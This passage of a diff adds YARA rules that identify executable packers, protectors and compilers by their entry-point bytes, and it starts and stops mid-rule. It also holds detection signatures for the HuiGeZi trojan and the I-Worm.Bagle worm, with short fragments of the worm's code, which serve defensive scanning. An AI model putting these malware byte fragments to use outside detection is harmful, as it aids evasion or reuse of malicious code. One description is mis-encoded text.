+		$1 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Petite_v22__wwwun4seencompetite_
+{
+	meta:
+		description = "Petite v2.2 -> www.un4seen.com/petite"
+	strings:
+		$0 = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V23__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 70 61 63 6B 24 40}
+		$1 = {9C 60 70 61 63 6B 24 40}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_v190_
+{
+	meta:
+		description = "Armadillo v1.90"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_096__tE_
+{
+	meta:
+		description = "tElock 0.96 -> tE!"
+	strings:
+		$0 = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39}
+		$1 = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+		$2 = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _EXE____
+{
+	meta:
+		description = "²Ø¾¨¸óEXEÎļþÀ¦°ó»ú »áԱר°æ -> ³Â¾­èº"
+	strings:
+		$0 = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLite_100_COM_
+{
+	meta:
+		description = "PKLite 1.00 [COM]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 3B C4 73 67 8B C4 2D 44 03 25 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 00 01 50 4B 6C 69 74 65 20 43 6F 70 72 2E 20 31 39 39 30 20}
+	condition:
+		$0 at entrypoint
+}
+rule _setupexe_Section14text_
+{
+	meta:
+		description = "setup.exe Section(1/4,.text)"
+	strings:
+		$0 = {55 8B EC B8 7A 31 00 00 83 EC 08 53 56 57 A3 E8 5E 48 00 A3 EC 5E 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_022__023__Dwing_
+{
+	meta:
+		description = "Upack 0.22 - 0.23 -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _TXT2COM_
+{
+	meta:
+		description = "TXT2COM"
+	strings:
+		$0 = {E8 ?? ?? CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_DLL_
+{
+	meta:
+		description = "WATCOM C/C++ DLL"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_v5__BitArts_
+{
+	meta:
+		description = "Crunch v5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+		$1 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v0977_
+{
+	meta:
+		description = "PECompact v0.977"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PackItBitch_V10_archphase_
+{
+	meta:
+		description = "PackItBitch V1.0-> archphase"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ExeShield_Protector_36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield Protector 3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+		$1 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_50_debug_
+{
+	meta:
+		description = "Visual C++ 5.0 (debug)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 42 00 68 00 00 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 F0 53 56 57 89 65 E8 FF 15 00 C1 42 00 A3 00 A1 42 00 A1 00 A1 42 00 C1 E8 08 25 FF 00 00 00 A3 00 A1 42 00 8B 0D 00 A1 42 00 81 E1 FF 00 00 00 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_02_
+{
+	meta:
+		description = "PE-SHiELD 0.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+		$1 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DBPE_vxxx__Ding_Boy_
+{
+	meta:
+		description = "DBPE vx.xx -> Ding Boy"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _NTKrnlPacker__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "NTKrnlPacker -> Ashkbiz Danehkar"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeCryptor_01_build_001_GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 001)-> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__HuiGeZi_
+{
+	meta:
+		description = "WARNING -> TROJAN -> HuiGeZi"
+	strings:
+		$0 = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+		$1 = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CauseWay_DOS_Extender_v325_
+{
+	meta:
+		description = "CauseWay DOS Extender v3.25"
+	strings:
+		$0 = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_27b_
+{
+	meta:
+		description = "Exe Shield 2.7b"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_C_20_
+{
+	meta:
+		description = "Visual C 2.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 00 00 01 68 00 00 00 01 50 64 89 25 00 00 00 00 83 EC 00 53 56 57 89 65 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 A3 00 00 00 01 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Elite_200_
+{
+	meta:
+		description = "Elite 2.00"
+	strings:
+		$0 = {FC 8C C8 01 06 00 00 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 FF 33 F6 B9 08 00 F3 A5 48 4B 4A 75 EE}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v20__Markus_Laszlo__Reiser_
+{
+	meta:
+		description = "UPX v2.0 -> Markus, Laszlo & Reiser"
+	strings:
+		$0 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+		$1 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+		$2 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _DEF_10__bartxt_
+{
+	meta:
+		description = "DEF 1.0 -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Real_Networks_VideoAudio_file_
+{
+	meta:
+		description = "Real Networks Video/Audio file"
+	strings:
+		$0 = {2E 52 4D 46}
+	condition:
+		$0 at entrypoint
+}
+rule _Docmaker_120_
+{
+	meta:
+		description = "Docmaker 1.20"
+	strings:
+		$0 = {B4 0F CD 10 06 1E 3C 03 76 06 3C 07 74 09 EB 42 B8 00 B8 8E C0 EB 05 B8 00 B0 8E C0 BF 00 00 8C C8 8E D8 BE 40 01 B4 0B B7 00 8A 1E 3D 01 CD 10 8A 3E 3E 01 B8 00 06 31 C9 BA 50 19 CD 10 FC B9 80 07 AC AA 47 E2 FB 1F 07 B4 02 31 DB BA 00 17}
+	condition:
+		$0 at entrypoint
+}
+rule _Netsend_100_
+{
+	meta:
+		description = "Netsend 1.00"
+	strings:
+		$0 = {58 50 50 50 59 5A 49 51 44 5B 4C 2D 66 36 2D 67 34 31 47 44 53 58 75 27 40 2C 7E 50 5E 50 5F 4F 2C 21 28 47 55 28 47 5A 28 47 6E 75 35 2D 4E 45 54 53 45 4E 44 5F 56 31 2E 30 30 5F 4A 52 54 3D 0D 0A 43 46 46 46 52 58 2C 60 2C 60 32 24 46 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v20xx_
+{
+	meta:
+		description = "Crunch/PE v2.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Basic_
+{
+	meta:
+		description = "Turbo Basic"
+	strings:
+		$0 = {2E 8C 1E B2 00 2E C7 06 AE 00 00 00 E8 54 05 E8 88 00 E8 17 17 E8 AE 17 E8 11 00 2E 8E 1E 64 01 FF 36 02 00 E8 9F 17 58 B4 4C CD 21 E8 A7 00 E8 D6 00 72 53 E8 C4 01 E8 48 02 E8 6C 02 E8 00 1F E8 00 2F E8 52 01 0E 1F A1 56 01 B1 04 D3 E0 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _dePACK_V10_deNULL_
+{
+	meta:
+		description = "dePACK V1.0-> deNULL"
+	strings:
+		$0 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? D2}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_14__Liuxingping_
+{
+	meta:
+		description = "NsPack 1.4 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VIRUS__IWormBagle_
+{
+	meta:
+		description = "VIRUS - I-Worm.Bagle"
+	strings:
+		$0 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+		$1 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 00 E8 B1 00 00 00 EB F4 CC FF 25 A4 40 40 00 FF 25 B8 40 40 00 FF 25 B4 40 40 00 FF 25 B0 40 40 00 FF 25 AC 40 40 00 FF 25 9C 40 40 00 FF 25 A0 40 40 00 FF 25 A8 40 40 00 FF 25 24 40 40 00 FF 25 28 40 40 00 FF 25 2C 40 40 00 FF 25 30 40 40 00 FF 25 34 40 40 00 FF 25 38 40 40 00 FF 25 3C 40 40 00 FF 25 40 40 40 00 FF 25 44 40 40 00 FF 25 48 40 40 00 FF 25 4C 40 40 00 FF 25 50 40 40 00 FF 25 54 40 40 00 FF 25 58 40 40 00 FF 25 5C 40 40 00 FF 25 60 40 40 00 FF 25 BC 40 40 00 FF 25 64 40 40 00 FF 25 68 40 40}
+		$2 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ThinstallVS_v3104__Jitit_Software_
+{
+	meta:
+		description = "Thinstall.VS v3.104 -> Jitit Software"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB CC 1A 00 00 2B C3 50 68 00 00 ?? ?? 68 00 28 00 00 68 C8 00 00 00 E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_13045__SoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 1.3.0.45 -> SoftComplete Development"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 31 C0 89 41 14 89 41 18 80 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_005__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 0.05 -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 8D 85 A8 22 40 00 50 FF 95 42 23 40 00 0B C0 0F 85 B5 01 00 00 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 4A 23 40 00 0B C0 0F 84 99 01 00 00 89 85 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_5__Portions_Copyright_c_198399_Borland_
+{
+	meta:
+		description = "Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_V27X__Jitit_
+{
+	meta:
+		description = "Thinstall V2.7X -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_NiceProtect_vna_
+{
+	meta:
+		description = "DotFix NiceProtect vna"
+	strings:
+		$0 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+		$1 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _CodeCrypt_016b__0161b_
+{
+	meta:
+		description = "CodeCrypt 0.16b - 0.161b"
+	strings:
+		$0 = {EB 02 0F 4D 55 EB 02 0F C7 E8 00 00 00 00 EB 02 83 3D 5D EB 03 0F CA 0F 81 ED 6D 23 40 00 52 8B 54 24 08 E8 A5 FD FF FF 89 95 D1 2A 40 00 5A EB 02 0F 4D EB 02 FF 1D EB 02 0F C7 EB 02 0F C0 EB 03 0F CA 0F EB 03 FF 1D 34 EB 02 83 3D EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _mPACK_v002__DeltaAziz_
+{
+	meta:
+		description = "mPACK v0.0.2 -> DeltaAziz"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 5E ?? ?? 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? 0C ?? ?? ?? CC E4 ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 